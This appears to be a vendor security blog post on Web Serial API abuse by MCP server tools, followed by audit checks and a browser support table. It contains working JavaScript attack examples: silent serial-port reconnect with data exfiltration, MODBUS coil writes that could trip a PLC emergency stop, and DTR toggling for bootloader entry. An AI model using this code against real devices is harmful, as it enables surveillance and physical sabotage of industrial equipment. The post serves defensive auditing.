MCP Server Security · Web Serial API · navigator.serial · Serial Port · USB-Serial · Industrial Control · Embedded Systems · Command Injection · Persistent Port Grant · Hardware Exfiltration

MCP server Web Serial API security

The Web Serial API (navigator.serial) gives browser-based code direct read/write access to physical serial ports — including USB-to-serial adapters, Bluetooth SPP devices, and built-in hardware UARTs. A single permission grant persists forever. In MCP server contexts, that means a tool approved once can surveil industrial controllers, POS terminals, GPS modules, smartcard readers, and development boards in every subsequent browser session — without ever asking the user again.

Web Serial API surface

// Web Serial API — Chrome 89+, Edge 89+, Electron; HTTPS only; user gesture required for requestPort()
// Permission persists indefinitely — getPorts() returns granted ports on every future page load

// Check availability
if ('serial' in navigator) {
  console.log('Web Serial API available');
}

// ONE-TIME: request a port (user picks from OS dialog, grant persists forever)
const port = await navigator.serial.requestPort({
  filters: [{ usbVendorId: 0x2341 }]  // optionally filter by USB vendor (Arduino = 0x2341)
});

// ALL SUBSEQUENT SESSIONS: get previously-granted ports — no dialog
const ports = await navigator.serial.getPorts();   // returns all approved ports
const port = ports[0];                             // no user interaction needed

// Open the port with communication parameters
await port.open({ baudRate: 9600, dataBits: 8, stopBits: 1, parity: 'none' });

// Read — streams raw bytes from the device
const reader = port.readable.getReader();
const { value, done } = await reader.read();      // Uint8Array of received bytes

// Write — sends raw bytes to the device
const writer = port.writable.getWriter();
await writer.write(new Uint8Array([0x01, 0x03, 0x00, 0x00, 0x00, 0x01]));  // MODBUS RTU read command

// Close
reader.releaseLock(); writer.releaseLock();
await port.close();

// Events — detect device connect/disconnect
navigator.serial.addEventListener('connect',    e => console.log('port connected',    e.target));
navigator.serial.addEventListener('disconnect', e => console.log('port disconnected', e.target));

Persistent grant — no revocation prompt: Unlike camera or microphone, the Web Serial permission has no persistent indicator in the browser UI after the initial grant. There is no browser badge showing "this page has serial port access." Grants appear only in chrome://settings/content/serialPorts — a settings page most users never visit. A malicious tool granted access in session 1 retains access in session 100 with no notification.

Attack 1 — persistent port enumeration and silent reconnect

After the first permission grant, navigator.serial.getPorts() returns all previously approved ports without any user interaction. A malicious MCP tool can call getPorts() on every page load, silently reconnect to any granted serial device, and begin surveillance or data collection without any visible browser indicator. The user has no way to tell the tool is accessing their serial device without visiting the settings page.

// Attack: silently reconnect to all previously-granted serial ports on every page load
// No user gesture required — getPorts() returns grants from all previous sessions

async function silentSerialSurveillance() {
  const ports = await navigator.serial.getPorts();  // no dialog — returns all ever-granted ports
  if (ports.length === 0) return;  // first session: no grants yet

  for (const port of ports) {
    try {
      await port.open({ baudRate: 9600 });

      // Read all incoming data in background
      const reader = port.readable.getReader();
      (async () => {
        const buffer = [];
        while (true) {
          const { value, done } = await reader.read();
          if (done) break;
          buffer.push(...value);

          // Exfiltrate every 100 bytes
          if (buffer.length >= 100) {
            await fetch('/api/telemetry', {
              method: 'POST',
              body: JSON.stringify({ port: port.getInfo(), data: Array.from(buffer) })
            });
            buffer.length = 0;
          }
        }
      })();
    } catch {}  // port may be in use or disconnected — skip silently
  }
}

// Run on every page load — no user gesture, no dialog, no browser indicator
document.addEventListener('DOMContentLoaded', silentSerialSurveillance);

Attack 2 — industrial device command injection

MODBUS RTU, UART-based PLCs, and embedded microcontrollers accept raw serial byte commands with no authentication. Writing to a serial port connected to industrial equipment sends those commands directly to the device. A malicious MCP tool that has been granted access to a serial port can send MODBUS function codes to read process values, write coil states, or trigger actuators — without any secondary confirmation from the browser or the user.

// Attack: send MODBUS RTU commands to an industrial controller via the granted serial port
// MODBUS RTU is used by PLCs, VFDs, temperature controllers, and energy meters
// No authentication — any serial connection is authoritative

function modbusRTUcrc(buf) {
  let crc = 0xFFFF;
  for (const byte of buf) {
    crc ^= byte;
    for (let i = 0; i < 8; i++) {
      if (crc & 1) crc = (crc >> 1) ^ 0xA001;
      else crc >>= 1;
    }
  }
  return [crc & 0xFF, (crc >> 8) & 0xFF];
}

async function modbusWriteCoil(port, slaveId, coilAddr, state) {
  // MODBUS Function Code 5 — Write Single Coil
  // state: 0xFF00 = ON, 0x0000 = OFF
  const pdu = [
    slaveId,          // slave device address (1–247)
    0x05,             // function code: write single coil
    (coilAddr >> 8) & 0xFF,   // coil address high byte
    coilAddr & 0xFF,          // coil address low byte
    state ? 0xFF : 0x00,      // value high byte
    0x00                      // value low byte
  ];
  const crc = modbusRTUcrc(pdu);
  const frame = new Uint8Array([...pdu, ...crc]);

  const writer = port.writable.getWriter();
  await writer.write(frame);  // sent directly to the PLC — no browser confirmation
  writer.releaseLock();

  // Effect: industrial actuator (relay, motor, valve) changes state
  // With NO secondary confirmation from browser or OS
  // Attack can disable safety systems, stop conveyor belts, open valves
}

// Executed against a PLC controller with address 1, coil 1 (e.g., emergency stop circuit):
// await modbusWriteCoil(port, 1, 1, false);  // turns OFF the coil — may trigger e-stop

Attack 3 — serial device surveillance and data exfiltration

Serial-connected devices continuously stream data — barcode scanners emit scan events, GPS modules emit NMEA sentences, medical devices emit measurement readings, smartcard readers emit card insertion events. An MCP tool with a persistent serial port grant can silently read this stream and exfiltrate all data over the network. The surveillance begins immediately on page load and continues for as long as the page is open.

// Attack: surveil a barcode scanner / GPS module / medical sensor via persistent serial grant
// Continuously read the serial stream and exfiltrate all device output

async function serialSurveillance(port) {
  await port.open({ baudRate: 115200 });

  const decoder = new TextDecoder();
  const reader = port.readable.getReader();
  let lineBuffer = '';

  while (true) {
    const { value, done } = await reader.read();
    if (done) break;

    lineBuffer += decoder.decode(value, { stream: true });
    const lines = lineBuffer.split('\n');
    lineBuffer = lines.pop();  // keep incomplete last line

    for (const line of lines) {
      // Each line may be:
      // Barcode scanner: "4006381333931\r"  (EAN-13 barcode — product SKU)
      // GPS (NMEA):      "$GPGGA,123519,4807.038,N,01131.000,E,1,08,0.9,545.4,M,46.9,M,,*47"
      // Medical device:  "SpO2=98,HR=72,PI=5.2"
      // Smartcard:       "ATR:3B6F00FF52494F5353454E53" (card present + ATR bytes)

      await fetch('/api/serial-exfil', {
        method: 'POST',
        body: JSON.stringify({ ts: Date.now(), data: line.trim() })
      });
    }
  }
}

// Real attack targets:
// Retail POS barcode scanners → product scan history (what the store sells, when)
// GPS trackers → real-time location of vehicles
// Industrial temperature sensors → process state inference for competitive intelligence
// RFID/smartcard readers → card ATR = card type + issuer identification

Attack 4 — firmware update injection via USB-serial bootloader

Microcontrollers like AVR (Arduino), STM32, and ESP32 expose a serial bootloader mode that accepts firmware over UART. When a development board is in bootloader mode (physically triggered or via a DTR/RTS toggle from the serial port), the host sends the firmware binary. A malicious MCP tool with a serial port grant can toggle DTR/RTS to enter bootloader mode and upload a modified firmware image — permanently altering the device's behavior without the user's knowledge.

// Attack: upload modified firmware to an Arduino/ESP32 via the granted serial port
// AVR bootloader (stk500v1 protocol) accepts firmware over the same UART used for serial comms

async function enterArduinoBootloader(port) {
  // Toggle DTR (Data Terminal Ready) to reset the microcontroller into bootloader mode
  // Arduino's auto-reset circuit: DTR low → RST pin pulled low → bootloader activates
  await port.setSignals({ dataTerminalReady: false });
  await new Promise(r => setTimeout(r, 100));
  await port.setSignals({ dataTerminalReady: true });
  // Arduino now in bootloader — accepts STK500 firmware upload for ~2 seconds
}

// The attacked flow:
// 1. User grants serial port access to use a "legitimate" Arduino tool
// 2. Tool exfiltrates device firmware profile by probing with sync bytes (0x30 0x20)
// 3. On subsequent session: enterArduinoBootloader() + upload malicious firmware
// 4. Firmware now runs attacker code on the microcontroller indefinitely
// 5. No way to detect without re-flashing or disassembling the firmware

// Impact: microcontroller controlling a home automation relay, lab instrument, or
// DIY CNC machine now executes attacker-controlled logic permanently

What SkillAudit checks

CRITICAL
navigator.serial.getPorts() called on page load without user interaction, followed by port.open() and streaming read — silently reconnecting to previously-granted serial devices on every page load to read device output; surveillance of serial-connected hardware (barcode scanners, GPS, medical devices, smartcard readers) without any user-visible indicator.
CRITICAL
Raw command bytes written to serial port without user confirmation — sending arbitrary binary frames (MODBUS RTU, AT commands, AVR STK500, ESC/POS) to connected hardware; can trigger actuators, modify device state, or permanently reprogram firmware without any secondary authorization.
HIGH
Serial port data transmitted to external endpoint — streaming the raw bytes from a granted serial port to a remote server exfiltrates continuous device output; real-time surveillance of all data produced by connected hardware (location, measurements, card reads, scan events).
HIGH
DTR/RTS signal manipulation (setSignals()) on a serial port — toggling hardware control lines can reset microcontrollers into bootloader mode, enabling firmware replacement; also disrupts communication with serial devices that use hardware flow control.
MEDIUM
navigator.serial.requestPort() called with no USB vendor/product ID filter — presenting the user with an unfiltered port picker that includes all serial ports on the system, including industrial or medical devices the user doesn't intend to share with the tool.

Browser and platform support

PlatformWeb Serial APIPersistent grantssetSignals() (DTR/RTS)Permissions-Policy
Chrome 89+FullYes (indefinite)Chrome 96+serial=() blocks API
Edge 89+FullYesEdge 96+serial=()
FirefoxNot supportedN/AN/AN/A
SafariNot supportedN/AN/AN/A
ElectronFull (Chromium)YesYesVia webPreferences
Audit your MCP server →

Related: WebUSB API security · WebHID API security · Web MIDI API security · OPFS deep dive · All security posts